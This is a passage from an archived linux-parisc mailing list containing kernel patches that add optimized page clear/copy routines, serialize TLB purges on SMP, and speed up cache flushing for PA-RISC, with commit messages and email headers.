+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to, from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+/* #define CONFIG_PARISC_TMPALIAS */
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b89a85a..703ed48 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -329,17 +331,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -373,20 +364,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -399,11 +379,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index ceec85d..6795dc6 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -157,5 +157,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fixes and cleanups in page cache flushing (2/4)
Date: Mon, 4 Feb 2013 00:00:54 +0100
Lines: 577
Approved: news@gmane.org
Message-ID: <20130203230054.GB14573@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359932460 26416 80.91.229.3 (3 Feb 2013 23:01:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Feb 2013 23:01:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 00:01:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U28Yo-00033P-3R
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 00:01:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753832Ab3BCXA7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2013 18:00:59 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:63547 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753827Ab3BCXA7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2013 18:00:59 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lzmgv-1V5dda1Iyh-0150xU for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 00:00:57 +0100
Original-Received: (qmail invoked by alias); 03 Feb 2013 23:00:56 -0000
Original-Received: from p54AD0959.dip0.t-ipconnect.de (EHLO p100.box) [84.173.9.89]
  by mail.gmx.net (mp033) with SMTP; 04 Feb 2013 00:00:56 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+Gb+ljJ4CGO64Fx7crXkqb2xFD9hmH2Vsre2V5Gz
	MTa349tviVezHJ
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4786
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4786>

Author: John David Anglin <dave.anglin@bell.net>

Implement clear_page_asm and copy_page_asm. These are optimized routines to
clear and copy a page.  I tested prefetch optimizations in clear_page_asm and
copy_page_asm but didn't see any significant performance improvement on rp3440.
I'm not sure if these are routines are significantly faster than memset and/or
memcpy, but they are there for further performance evaluation. 

TLB purge operations on PA 1.X SMP machines are now serialized with the help of
the new tlb_lock() and tlb_unlock() macros, since on some PA-RISC machines, TLB
purges need to be serialized in software.  Obviously, lock isn't needed in UP
kernels.  On PA 2.0 machines, there is a local TLB instruction which is much
less disruptive to the memory subsystem.  No lock is needed for local purge.

Loops are also unrolled in flush_instruction_cache_local and
flush_data_cache_local.

The implementation of what used to be copy_user_page (now copy_user_page_asm)
is now fixed. Additionally 64-bit support is now added. Read the preceding
comment which I didn't change.  I left the comment but it is now inaccurate.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5d7218a..312b484 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,7 +207,8 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	mtsp		%r0, %sr1
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
@@ -220,7 +220,33 @@ fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	fice,m		%arg1(%sr1, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr1, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
 	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
 
 fisync:
@@ -240,8 +266,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,7 +274,8 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	mtsp		%r0, %sr1
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
@@ -261,7 +287,33 @@ fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	fdce,m		%arg1(%sr1, %arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%sr1, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
 	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
 
 fdsync:
@@ -277,7 +329,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +434,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +475,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +540,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +563,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +574,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +582,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +611,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
 
-	ldi		64, %r1
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +691,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +724,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +735,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +760,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +796,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +821,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +845,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +884,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +922,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr4,%r28)
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r28)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r28)
+	tlb_unlock      %r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -727,8 +963,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%sr4,%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r25)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r25)
+	tlb_unlock      %r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pitlb		(%sr4,%r25)
+	nop
 	.exit
 
 	.procend
@@ -777,7 +1022,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -817,7 +1062,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fixes and cleanups in page cache flushing (3/4)
Date: Mon, 4 Feb 2013 00:01:47 +0100
Lines: 138
Approved: news@gmane.org
Message-ID: <20130203230147.GC14573@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359932511 26800 80.91.229.3 (3 Feb 2013 23:01:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Feb 2013 23:01:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 00:02:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U28Zd-00033P-S8
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 00:02:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753840Ab3BCXBv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2013 18:01:51 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:63035 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753827Ab3BCXBv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2013 18:01:51 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0M4lZj-1Uu6l62qwH-00yvjh for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 00:01:49 +0100
Original-Received: (qmail invoked by alias); 03 Feb 2013 23:01:49 -0000
Original-Received: from p54AD0959.dip0.t-ipconnect.de (EHLO p100.box) [84.173.9.89]
  by mail.gmx.net (mp030) with SMTP; 04 Feb 2013 00:01:49 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+OEdhEoJGO1b0WQZ80Y7oz+cPouyGulXLpjASNri
	9Ub51APRlJ5u3J
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4787>

Author: John David Anglin <dave.anglin@bell.net>

flush_cache_mm, for the non current case also uses flush_dcache_page_asm
and flush_icache_page_asm which are TMPALIAS flushes.

For the non current case, the algorithm used by get_ptep is derived from the
vmalloc_to_page implementation in vmalloc.c.  It is essentially a generic page
table lookup.  The other alternative was to duplicate the lookup in entry.S.
The break point for switching to a full cache flush is somewhat arbitrary.  The
same approach is used in flush_cache_range for non current case.  In a GCC
build and check, many small programs are executed and this change provided a
significant performance enhancement, e.g. GCC build time was cut almost in half
on a rp3440 at j4.  Previously, we always flushed the entire cache.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b89a85a..bce3b85 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -476,8 +476,66 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
